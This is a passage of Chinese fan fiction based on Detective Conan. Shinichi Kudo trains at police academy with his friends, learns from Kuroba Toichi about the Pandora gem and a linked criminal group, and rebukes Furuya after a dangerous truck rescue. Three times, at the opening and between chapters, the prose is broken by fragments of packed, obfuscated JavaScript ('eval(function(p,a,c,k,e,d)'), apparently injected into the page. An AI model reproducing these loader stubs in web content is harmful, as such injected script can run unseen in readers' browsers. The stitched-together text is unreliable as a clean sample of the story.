;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安顿好小兰,萩原和松田就继续跟着博士去一旁搞研究去了,剩下四个青年闲话。工藤新一“啪”地拉开冰箱门,冷气白雾扑了他一脸。 “汽水?”诸伏景光抬手比划了一下罐口。 “不行。”一旁伊达航提出异议,他指了指一盒草莓果汁,看向工藤新一:“这个可以吗?” 工藤新一点点头:“当然,博士家的饮料随便喝。” 于是伊达航把吸管插好,递给小兰:“女孩子喝这个。” “看我干嘛?”见众人目光齐刷刷,他耸耸肩,耳尖可疑地泛红,“我可是有女朋友的人——总要了解女孩子的饮食喜好吧。” 几个人坐回到沙发上。闲来无事,工藤新一就把电视打开当背景音乐。午间新闻的片头曲飘出来,成了背景里最安全的白噪音。他斜靠在沙发扶手,指尖转着遥控器:“今天不是周末吗?毛利先生和英理姐都有事?” “嗯嗯。”毛利兰小口小口喝着果汁,“爸爸去警视厅加班,妈妈要办案子,助理姐姐放假了,事务所里没有人。” “最近有什么很急的案子吗?”工藤新一捏着下巴,指尖在遥控器上无意识地敲,“佐藤警官也很忙的样子。” “不过话说回来——”伊达航把话题拐了个弯,目光落在诸伏景光身上,“诸伏你是怎么认识那位律师的?妃英理律师在业内可是赫赫有名。” 诸伏景光把汽水罐在掌心转了一圈,铝皮发出轻微的“咔啦”声。他笑了笑:“其实也只是几面之缘。我哥哥刚毕业那会儿,试着做了一段时间律师,就在妃律师的事务所实习——嘛,当然,他只待了一年就回长野做检察官了。” “哦!是那个很喜欢说古文的大哥哥对吧!”小兰忽然眼睛一亮,像有人在她脑海里按下播放键,“他好厉害哦。” “兰君的记忆力也很好呢,那时候你应该还小吧。”诸伏景光微笑。 小兰挺了挺背脊,像只骄傲的小孔雀:“我也记得第一次见到新一哥哥的事哦,那时候我还在上幼稚园呢。”她伸出四根手指,想了想,又加了一根,“五岁!新一哥哥每次回来都会给我买我最喜欢的芝士蛋糕呢。” 糟糕!工藤新一原本懒洋洋靠在沙发里的脊背瞬间挺直,像被人突然拔掉电源的机器人。 降谷零的雷达立刻滴滴作响。他微微侧头,金褐色的睫毛在眼睑投下一小片锋利的阴影:“幼稚园?” “兰君今年四年级的话……”诸伏景光眯起眼,指尖在空气中轻轻一划,“那就是五六年前的事咯?” 两道视线像探照灯,齐刷刷对准了心虚的工藤新一。 “原来五年前你就回过东京啊,新一?”诸伏景光拖长音调,像审问犯人。 “听起来还不止一次呢。”降谷零帮腔。 “那为什么那时候不回家?”诸伏景光把空汽水罐捏扁,发出“咔”的一声脆响。 “我们三年前才再次见到你哦。” 工藤新一干笑两声,耳尖迅速染上可疑的绯色。他抬手胡乱揉了揉后脑勺,试图把尴尬揉进头发里:“我……我可以解释……嗯,小兰还在呢,先看一会儿电视怎么样?” 话音刚落,新闻主播的机械嗓音像救场嘉宾一样响起—— “本台讯,今日凌晨,西多摩市美术馆遭怪盗基德潜入。令人费解的是,基德并未带走任何藏品,仅留下一封意义不明的信函。现场凌乱,有明显打斗痕迹。警方初步判断,这是一起‘黑吃黑’式的盗贼内讧,目前案件正在进一步侦办……” 工藤新一看着新闻里那封模糊了字迹的基德卡——看来周一要去一趟警视厅了。 48.红炉 转眼到了周一。 警校的摩托车训练场被太阳晒得发亮,柏油像一块被熨平的黑布,微微映出斑斓的光。工藤新一跨坐在银白的训练用摩托上,脚蹬一踩,引擎的咆哮像青年胸腔里按捺不住的鼓点。风把制服外套吹得猎猎作响,汗珠顺着他的鬓角滑进领口。 “喂——工藤!”松田阵平把手拢成喇叭,声音穿透热浪,“引擎声不对!先熄火,让hagi看看!” 萩原研二笑着把自己的摩托推过去,钥匙在指尖转出一道亮光:“你先用我的摩托训练好了,不用担心我——关于任何车辆的训练,hagi我都是无敌的哦!” “啊,那谢啦,萩原。”工藤新一也不客气,“萩原的车技的确是神乎其神啊。” “放在电影里都会被打上‘危险动作、请勿模仿’吧。”一旁的伊达航拍了他们一下。 八月的风卷着烤干的尘土在地面上打旋,几句玩笑像几粒冰块掉进滚水,瞬间蒸成白雾。松田已经蹲下,和萩原凑在一起,嘀嘀咕咕几句,三两下掀开发动机外壳。金属盖“哐”一声落地,热浪里荡起清脆回响。 “听声音的话,是不是汽化器的燃料调节出了问题。”松田阵平眯眼,指尖在油管上轻轻一弹。 萩原研二笑:“我也觉得是这样,正在修啦。” “真是的,之前射击训练的时候手枪出问题要修、上周还被鬼佬叫去‘义务检修’,”松田阵平鼓起腮帮子吹了一口气,把粘在鼻尖的发丝吹走,“警校拿我们当修理工吗?” “好了好了小阵平,我看你也很喜欢这样啊……” 十米外,几个穿西装的中年人身姿挺拔。他们都戴着深灰色的墨镜,在阳光下闪了一下,像一枚无声的快门。记录板被翻过一页,笔尖沙沙,像在提前撰写着功勋书。工藤新一用余光扫到他们,心里有数:看这样子,是机动队提前来挑苗子了。 他重新跨上摩托车,刚起步,就听见负责摩托车驾驶培训的教官喊着他的名字。 工藤新一利落地熄火、踢撑,一个流畅的滑停,轮胎在弯道划出漂亮的弧线,像用尺规画出来的抛物线。教官的哨声远远传来,带着一点故意拖长的尾音:“工藤新一君!有人找你去一趟警视厅!” 哨音像石子砸进沸油锅,训练场“轰”地炸开了锅。训练场上的警校生们齐刷刷回头,汗水在脖颈上淌成闪亮的小溪。 “听见没?警视厅来人找!” “是那个工藤新一?真的假的!” “上周就听说鬼冢班有个插班生,原来真的是那位顾问吗!” 窸窸窣窣的议论被风卷着,飘到很远。 工藤新一的到来本就是一桩新鲜事,某种程度上算得上前辈“下凡”。警校学生们正是对这种戏码最乐意津津乐道的时候,一时间,每个人都在好奇警视厅找这位闻名已久的顾问侦探有什么事。 工藤新一摘下头盔,汗湿的刘海一缕一缕粘在额前,他冲朝他这边走来的降谷零和诸伏景光挥手,露出一口白牙:“应该是找我去补笔录之类的,没什么大事。今晚估计就不回食堂吃饭了,不用等我。” 说罢,他又朝伊达航点点头,随后看向刚刚修好摩托车的萩原松田二人。松田阵平正大声地朝爆处组来人喊—— “你说机动队的□□处理小组?这还用问!肯定是有兴趣啊!那就拜托你了!” 爆处组的先生下意识往后退了半步,皮鞋跟擦过沙砾,发出细碎的“嚓嚓”声。工藤新一远远看着,一滴汗顺着太阳穴滑到下巴——不知道的还以为你要袭警啊松田。 萩原研二却只是站在他们旁边,若有所思。他抬眼,目光越过松田的肩膀,与爆处组领队短暂相接。那眼神温温的,却像隔着一层透明的钢化玻璃,礼貌、审视、又带着一点不动声色的斟酌。片刻后,他弯了弯眼尾,没有点头,也没有摇头。 半小时后,气温已经度过了一天中的峰值。 工藤新一回到宿舍冲了澡,发梢还滴着水。他把汗湿的作训服团成一团,精准抛进洗衣筐,发出“噗”的闷响,随后换上一套浅蓝色的休闲西装,走出宿舍,慢悠悠地往警校大门走。 他与那位的约定时间尚早,于是迈着轻巧的步子、戴着口罩,顺着绿荫小路散步似的走。不远处,一辆白色的马自达从警校门口拐出来,逐渐减速,停在他跟前。 “我还以为我看错了,真是你啊,新一君。”车窗摇下来,露出一张略显沧桑的儒雅中年人的脸,“我来的时候还听二课的中森警官提到你,好像找你去警视厅?” 工藤新一笑着摘下口罩:“是啊,这不就去了。佐藤警视来警校公干?” 佐藤正义点点头:“也是变相让我歇一晚上,索性来找老朋友喝酒——鬼冢那家伙可不是个温和的老师,在他手底下,你可有的受!松本把你扔警校来就算了,怎么还挑这家伙当教官。” 明面上他在埋怨鬼冢八藏和松本清长,从语气上却听得出来带着笑,很显然只是朋友之间的打趣。工藤新一一笑:“哪有,是我特意让松本管理官给我找个最优秀的教官的。” “新一君还是这么会说话,他要是太过分了,你就打我电话,我把鬼冢拎出去灌酒!哈哈哈哈,”佐藤单手搭着方向盘,指节轻敲皮套,节奏和远处蝉鸣奇妙地重合,“明年美和子可能也要在鬼冢手底下遭罪哪!” “美和子小姐一定会成为很优秀的警官的。”工藤新一真心实意地说。 “借你吉言。那我就先去停车了,你也快去找中森吧。没事休息,也常来我们一课走走,我们也好抓个劳力。”佐藤正义笑笑,“最近一课可是忙得团团转。” “一定。”工藤退后半步,让出车道。马自达重新启动,轮胎卷起细碎的落叶,像把短暂的相遇碾成记忆里的粉末。车尾消失在拐角处,只留下一缕淡淡的尾气,被风一吹,便和蝉鸣混在了一起。 他重新戴上口罩,抬头望了望天色,随后挥手拦了一辆计程车,报出的终点却并不是那里。 “中森银三找他”算得上某种暗号,实际上,他的目的地是警察厅。作为“怪盗基德”案的警视厅主要负责人、黑羽盗一的旧友,中森银三自然被拉进计划,成了“自己人”——于是,顺理成章地,他成了黑田兵卫与工藤新一之间最方便的联络借口,一块安全的挡箭牌。 此时,这块挡箭牌正在搜查二课的审讯室里,忙得热火朝天,显然并不打算见客。 淡淡的薄云敷在碧蓝的天空上,阳光褪尽锋芒,像被谁轻轻揉皱的锡纸,软软地覆在警视厅灰白的外墙与乌亮的瓦脊。风掠过,薄云便缓缓挪步,光斑也随之在警徽上忽明忽暗。 警视厅门口的地铁站里走出两个小孩子,男孩反戴鸭舌帽,黑色的碎发从帽檐里乱糟糟地探出头,像一簇不服管的鸦羽;女孩则把校服外套搭在臂弯,百褶裙随着步子荡起弧度,发尾一跳一跳——正是中森青子与黑羽快斗。 “青子——”快斗拖着长音追上两步,几乎滑到她面前,“今天的晚饭没有鱼的对不对?好青子,我错啦!我再也不会把你的玫瑰花头绳拿来变火焰魔术了,晚上回家的时候再给你做一朵好不好?这次一定给你做一个更漂亮的!” 中森青子努努嘴,杏眼里早没了愠色,却还是故意别过脸,让碎发挡住自己微微翘起的嘴角:“可是青子很喜欢之前那一个啊——而且快斗,你怎么可以把打火机拿去学校呢?盗一叔叔和千影阿姨要是出差回来了一定会生气的!” 她声音软软的,却带着显而易见的认真。黑羽快斗听见“打火机”三个字,立刻顺杆往上爬,双手合十举到额前:“打火机不会再带去学校了,你放心,我也不会伤到自己的——我给你做十朵,怎么样?青子这次想要什么颜色的?” “哼。”中森青子从口袋里掏出折得方方正正的手帕,把那条烧焦的编织玫瑰发绳轻轻搁在他掌心。发绳边缘的丝线已经发脆,她伸出两根手指晃了晃:“我要和这个一模一样的,两个蓝色的——快斗做了一次了,肯定还能再做出一个的吧。” “好嘞,包在我身上!”快斗夸张地拍了拍单薄的胸口,校服衬衫被拍得起褶。下一秒,他像变魔术——就是在变魔术——指缝里多了一朵湿漉漉的蓝色牵牛花,“这个给你,在我没给你新的发绳之前,就把它戴在头发上吧。” “会枯掉的!” “这是‘我一定会在它枯掉之前送你新的’的意思啊!笨蛋青子!” “笨蛋快斗!”青子把花别在耳后,深蓝的花衬得她耳廓薄薄的、透一点粉。她忽然想起什么,脚步一顿,回头瞪他,“那你今天的家庭作业还写不写了啊?” “那种东西,我写不写都一样啊——”黑羽快斗耸耸肩,双手插进口袋,鸭舌帽的帽檐在他脑后投下阴影。然后他跳开,躲过了青梅竹马的肘击,动作娴熟,像是已经这样闹了无数次。 工藤新一下车时,柏油路面的热气正被风一点点卷走。他下车,扣上西装下摆的两颗扣子,抬头便看见不远处那对小小身影——一个蹦跳着挥拳,一个咋咋呼呼地把花别在对方耳后,像两只刚离巢便斗嘴的雏鸟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“嗯,我送你们进厅。”其实知道内情的工藤新一没说什么,只抬手揉了揉男孩的黑发。玻璃感应门无声滑开,冷气混着油墨与咖啡的味道扑面而来。等他们坐上电梯,才再回头去了隔壁的警察厅。 电梯门合拢的瞬间,冷气像薄雾漫过脚踝。镜面墙把两个孩子映成一对小小的影子,中森青子揪着书包带,抬眼瞄向镜面里的快斗,终于把憋了一路的疑问丢出来:“快斗……你有这么大的一个哥哥吗?” 黑羽快斗正拿指尖去戳楼层按钮,闻言歪头:“没有啊——哦,你说工藤哥哥?”他恍然,耸耸肩,“他只是认识的大哥哥而已。几年前,他跟一个超有名的女明星来过我家,好像跟爸爸妈妈是朋友,三个人总是把门关得紧紧的,经常偷偷摸摸地聊天。我也很久没见他了。” 三年前,工藤新一随有希子回到日本探望变装术老师黑羽盗一,自那时起与黑羽盗一、黑羽千影建立了联系。他知道上一世两代基德与那个像动物园一样的神秘组织的恩怨,于是先斩后奏,提前以警方和公安的名义与黑羽盗一做了交易。也就是所谓的“经常偷偷摸摸地聊天”。 “可是他和快斗长得好像……”中森青子噘着嘴,“该不会是亲哥哥吧?” “怎么可能,我家里就那几个人而已,要是亲戚,我爸爸妈妈早就告诉我了。走啦青子……” “关于前天的行动,所有资料都在这里了。”黑田兵卫把一打文件放在茶几桌上,翻转,然后推到工藤新一面前,“如果有什么疑问,你可以随时问——毕竟当事人就在这。” 一旁的黑羽盗一轻轻颔首,露出了肩膀处显眼的白色绷带。 “盗一先生的伤怎么样了?”工藤新一一边翻阅着文件,一边问道,“我看现场有枪击的痕迹。” “小伤,不要紧。”黑羽盗一笑笑,“中森看我受伤马上就带着警员闯进来了。” 文件里有用的信息不多,大多是现场的搜查情况。工藤新一没看出什么不妥,于是和黑田兵卫对视一眼:“如果只是这样,没必要特意叫我来一趟吧?” 黑田兵卫笑了一下,黑黝黝的脸上露出了些许赞赏:“是啊,叫你来,肯定是有大事。黑羽先生这次诱饵行动,套出了不少信息,我觉得,可以利用。” “我洗耳恭听。”工藤新一合上文件册,身体微微前倾,看着两人。 黑羽盗一右手一翻,一颗宝石被他拿在手上。 “关于潘多拉,我这次听到了不少信息,工藤君。对你们说的另一个组织,或许能用的上。” 49.点雪 “你什么情况啊hagi。还考虑什么?”松田阵平站在门边,侧着身子,双手插兜看着窗外的风景,“他们可是准备挖我们过去当队员啊。” 不知何处飘来的乌云遮住了逐渐沉落的太阳,那光芒却不肯彻底暗下去,一片淡得几乎透明的光穿过窗子,悄悄淌进没开灯的室内,在萩原研二脸上映出一半阴霾。他躺在谈话室的沙发上,双手枕在脑后,看向自家幼驯染,随后抬头看着灰蒙蒙的天花板出神,又似乎不只是出神。 “能够和自己的好友在一个部门一起工作,又可以捣鼓自己最喜欢的机械,听起来真的很吸引人……” 松田阵平看着他:“那你还——” “因为我老爸的工厂,”萩原研二打断他,灰白的光滑进他眼底,在紫色的眸子里映出一片比天色更沉的灰,“自从看到我老爸的修理厂倒闭后,太过顺风顺水,会让我有些担忧。” 他眼前出现多年前那个夏日的夕阳,卷帘门把暮色切割成狭长的、橘色的油画,有人鞠躬,有人驻足,有人转身便离去。 “我会想,这扇门,该不会是通往毁灭的吧。从而忍不住踩刹车。” 松田阵平没有多劝:“如果你犹豫的话,那就拒绝好了。但说实话,虽然我很向往□□处理小组的工作,有时候又不得不承认,那是个危险的活计。” “怎么了?” 松田阵平转过去,背对着他:“我爸夺得冠军腰带那天起,我就总是做同一个梦。梦里有很多人,很多尖叫,还有爆炸。然后就是踩空、失重,惊醒。醒来时,胳膊上那道疤就疼——就是国中的时候,咱们两个差点炸了仓库留下的那块烧伤。” “嗯,我知道。”萩原研二说,“你是想说,这是个不祥的预兆?” “不,我是想说,正因为知道会疼,才更要去。”松田阵平笑着说,“我这个人,只会踩油门往前冲。” 话音落下,他忽然抬手,一串钥匙在指间哗啦啦转出一道银弧。金属反射的微光划破室内的晦色,像有人在昏灰里点燃一支烟火:“我要去帮鬼老头看看他朋友的车,你要来吗?” “怎么这么突然。什么车?”萩原研二坐起来,抬眼看他。 “零战之魂。听起来零那家伙会喜欢。”松田阵平的语气逐渐变得生动起来,“鬼佬听说我能根据听声音判断那个零部件出问题,就让我帮他看看他朋友的车哪里出了问题,顺便帮那位姓佐藤的警官洗个车子——真是,我是学生又不是杂工!” 萩原研二失笑,眼底那层阴霾被笑意揉开:“我看小阵平明明乐在其中。” “要是那位警官肯让我开上两圈,”松田挑眉,钥匙稳稳停在他食指,“就再好不过了。” 警察厅,黑田兵卫办公室。 “潘多拉?”工藤新一抱臂看着黑羽盗一手上的红色宝石,“据我所知,那种石头只是个传言,并没有人证实过。” 前世,直到黑羽快斗、白马探以及浴火归来的黑羽盗一联合警方,将“衔尾社”(基德对抗的神秘组织)最后一处据点炸成废墟,潘多拉仍像雾中之花,只闻其名,不见其形。有人传说它藏在月光的背面,有人说它被锁在永不落幕的魔术箱里,可没人有任何证据。就算是魔女小泉红子,也对它嗤之以鼻。 “我知道你们这些侦探都不信怪力乱神,所以很快就能判断出‘潘多拉’是个彻头彻尾的谎言。不过,就算以神秘学的视角,它也是不可能成立的。”红魔女的声音带着女巫特有的、既蛊惑又清醒的腔调。 “照照月亮、喝点水就能获得永生?笑话。没有因果、没有付出给予、没有价值交换——”她指尖一弹,水晶球里顿时漾开一圈银白的涟漪,“难不成天上掉馅饼吗?再说,‘潘多拉’,那是魔盒,是灾祸之源,他们还当那是什么好东西了?” 火光在她瞳仁里跳舞,仿佛映出无数被欲望吞噬的面孔:“就像是恶龙的金子,谁拿到了,谁就染上‘龙病’。” 黑羽盗一缓缓摇头,他的声音低沉,带着惯有的从容:“我的确也不相信它的存在。斯内克看起来应该也不坚定,他们只是为钱卖命,金主说存在,他们就说存在。这宝石只是个假货,但据说真正的潘多拉,中心的红色就是这样的石榴红。”他把手里艳红色的宝石放在茶几上,额前的碎发随着他的动作轻轻晃动。 “还有,我前些日子蹲点时,听到斯内克在与其他人说起潘多拉。他说,‘我们只是拿钱办事,如果您给的多,那自然也有您的份’。如果我没听错,他喊的称呼是个酒名——菲奈特·布兰卡。” 意大利苦酒吗?混合着苦艾与药草味,辛辣的烈性利口酒……听起来是男性,但也不能妄下断言就是了。 “我没听说过这个代号。”工藤新一摇摇头,“除此之外,还有什么吗?” 黑羽盗一的目光掠过茶几上那枚孤零零的红宝石,仔细想了想,然后确切地答复:“没有了。” 组织的事在黑羽盗一面前终究只能点到为止,像被夜色压低的烛火,稍有风动便迅速熄灭。于是工藤黑田二人默契地扯开话题。他们聊了很多,比如判断“衔尾社”的战力构成,分析他们的下一步策略,甚至聊到了“怪盗基德”该怎么合理地落幕。 “假死、被捕,都无所谓。”黑羽盗一仰头,活动了一下僵硬的脖颈,不小心扯到了后肩的伤,动作迟缓下来,“只要快斗和千影能好好生活,我怎么样都行。” 工藤新一没有立刻接话。他垂眸,指尖摩挲着杯口——那是一只素白瓷杯,水是温的,甚至是黑田兵卫亲自给他准备的——十二年前工藤新一那次坠崖住院,实在是在很多人心里埋下了一根刺。 温水入喉,他唇齿间滚过一线无声的叹息,再抬眼时,眼底那点细碎的波澜已沉到底。 “盗一先生,”他看着黑羽盗一的眼睛,“三年前我们就说好了——你是被我请来和警方合作的,不是来送命的。既然已经坐在同一条船上,我就不会让你‘怎么样都行’。” “更何况,要让月光下的魔术师谢幕,总得给观众一个足够华丽的终章。”工藤新一转脸一笑,“最好是漫天的蓝色玫瑰,再配上一句‘Ladies and gentlemen, the game is over’——然后,便真的消失在风里。” “为什么是蓝色玫瑰?”黑羽盗一笑笑,也扔掉刚刚不愉快的叹息,问道。 “谁知道呢?”工藤新一怀念地说,眼前似乎重现了上一世怪盗基德的告别演出。 谁知道黑羽那家伙为什么格外钟情蓝色的玫瑰花。 暮色像被谁轻轻搅动的蜜糖,从窗棂缓缓淌进来,把整间屋子镀上一层微暖的橙。黑羽盗一起身,侧头冲两人点了点头——他看出他们还有话说,主动避嫌离开,推门而出。 他出门后,工藤新一往后靠了靠,脊椎抵上沙发,像突然卸了力。他抬手揉了揉眉心,轻叹一声,那声叹息里带着久违的鲜活抱怨。 “怎么又是组织啊。” 黑田兵卫没接茬,只拎起水壶,又给他续了半杯热水。细长的水柱在灯下划出一道温润的弧,落在杯底,发出咕噜一声轻响。 “菲奈特?我这些年就没听说过这号人。”工藤新一用指尖敲了敲杯壁,把西装的袖口利落挽了两折,露出腕骨清晰的一截。灯光下,小臂上几道浅白的旧疤微微发亮。 “不能根据命名规律逆推吗?”黑田把壶放回托盘。 “不能。”新一摇头,“也许组织最初的人员架构、权力运行确实按代号排布——酒名、种类、酒精度,一层套一层。可代号可以继承,可以空置,甚至可以易主。这么多年过去,早就面目全非了,连是男是女都判断不了。” 按照上辈子的经验,组织代号成员基本上可以分为四个功能组——情报组、技术组、后勤组和执行组。情报组老大自然是朗姆,当年的波本名义上就是归他管辖;技术组由白兰地和龙舌兰分治,前者是生物研究,后者倾向于网络技术;后勤组包括资本供给、物资后勤,主要角色就是资本家皮斯可和后勤老大塔维尔;执行组的熟人就太多了——莱伊、琴酒、基安蒂、科恩、基尔都归属此类,不仅负责暗杀,也负责善后清扫和实际交易。 至于贝尔摩德,由于某种特殊性,她不隶属于任何一组,又似乎和每一组都有关联,上一世还把执行组的卡尔瓦多斯收为己用,实在是个头疼的人。 “但是,衔尾社与组织扯上关系,这就说明我们的猜测是对的。”黑田兵卫安慰他,“一个会去研究长生甚至重生的组织,不可能会对‘潘多拉’袖手旁观。只是不知道这是代号成员的个人行为,还是组织的意思。” 十二年前绑架案一案后,组织在松户的实验室被发现,黑田兵卫和诺拉·加西娅都得知了组织人体实验的其中一个重要目的——起死回生。 工藤新一垂下眼,指尖无意识地在杯沿来回摩挲,陶瓷发出极轻的“嗒嗒”声。片刻后,他抬眼,眼底那点光被压进更深的地方,只剩冷静到近乎残酷的锋利。 “不论如何,这是个突破口。”他声音不高,“我并不想看到任何人被埋进暗无天日的卧底生涯里,每一天都像踩在刀刃上。可情报总得有人去取——既然避免不了,那就把每一道保险都提前焊死。” 衔尾社,就是他们准备的“祭品”。来日,若有卧底需要向组织纳投名状,这便会是他们献给组织的、天衣无缝的见面礼。 “铃铃铃铃铃铃——” 一阵清脆的电话铃刺破了凝滞的气氛。 工藤新一朝黑田兵卫歉意地笑了笑,然后拿出手机接听来电:“景光?什么事?” 电话那头风声猎猎,混着急促的引擎咆哮,诸伏景光的嗓音被拉得断续:“一辆私家车保险杠卡在重卡尾部,但是卡车司机晕过去了——车子正朝着八王子方向快速行驶。我已经报警了,给你打个电话,知会一声。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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至于降谷零,他身上既有灰尘的污渍,也有血迹——玻璃碎片几乎把他上半身划成了红色的斑点狗,额头上、颈侧都有骇人的割伤,血液只凝固了薄薄一层,似乎稍一用力,就会绽开血花。 工藤新一咬着后槽牙,脖颈青筋突起。以他的推演能力,在看到事发地这惨绝人寰的鬼样子时就已经还原了整个事情经过,因此,后怕得几乎浑身发抖。 “如果这辆车油门失灵、如果这辆车不是空载,如果这辆车发生什么意外侧翻甚至爆炸,你怎么办?你让我——你让我们怎么办!啊?伟大的降谷先生!” 他越说越激动,似乎不只是在说眼前这一件事。说来奇怪,他还是江户川柯南的时候,降谷先生做过的更危险的事不胜凡几,甚至他自己还经常参与其中。那时他也没有像如今这般担惊受怕,像每一个当事者亲属一般心惊胆战……怕是曾经的他,到底算不上感同身受。 “我……可是,如果我们没有这样做,货车、司机、老夫妻,都要遇难。所以我才……”降谷零小小声发言。 “新一。”诸伏景光拍拍工藤新一的肩膀。 工藤新一单手扶着腰,低下头,深呼吸了两次,慢慢平复下来,然后不自觉地快速眨了几下眼睛,再次看向被他惊得不知所措的降谷零。 “……对不起,零,我太激动了。只顾着发泄情绪。”他道歉,“从救人的角度来说,我没有资格责怪你,你做的是对的。我没理由对你吼,对不起。” 诸伏景光赶紧拉着降谷零下台阶:“Zero。” 降谷零哪能不知道工藤新一完全是好意、是担忧,马上就坡下驴:“新一说的都对,没什么好道歉的……你看,我没事的。”说罢转了一圈,示意自己身体健康。 旁边的警察难得见工藤顾问情绪如此激动,不敢上前,倒是刚刚上天入地丝毫不逊色于降谷零的几个警校生围了上来。 工藤新一看着这几个年轻的面庞。 “我知道你们进入警校的第一课就是学会奉献、学会冲锋,你们立志成为一名警察的时候,也已经做好了牺牲自我的准备。”工藤新一脸上的表情肃穆,眼神中竟是神性一般的悲悯,语气中的无奈与担忧却又暴露出活生生的、人间的晴暖。 “这话也许我不该说……但是,无论何时,我都希望你们有退路。作出决定时多想想,你们自己身后并非空无一人。”工藤新一低头苦笑了一下。 半晌,他故作轻松地笑:“踩油门的主意是谁出的?萩原?” 几个人对视一眼。 萩原研二还回味着那句“并非空无一人”,被松田阵平戳了一下,点点头认领。 “还真有萩原的风格啊,不过,”工藤新一坏笑了一下,“如此惊天动地的大事,我想鬼冢教官一定已经知道风声了……我猜,各位英雄们接下来两个半月的警校生活,都得在刷澡堂中度过了。” “不——要——啊——”几个人配合他,真情实感地哀嚎,严肃的氛围立马烟消云散。 松田阵平看他:“顾问先生,你会帮我们求情的是不是——至少帮景老爷、班长和我求情吧。” 工藤新一挥挥手指:“不,可,能。除此之外,等你们毕业了,我们优秀的警校第一降谷零同学还会获得给顾问端茶倒水一月体验——我说到做到。” “怎么顾问还假公济私啊……”降谷零又小小声发言。 “三个月!” “我错啦新一大人!”